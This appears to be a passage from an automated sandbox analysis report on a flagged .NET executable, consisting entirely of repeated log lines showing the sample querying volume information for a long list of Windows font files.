Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
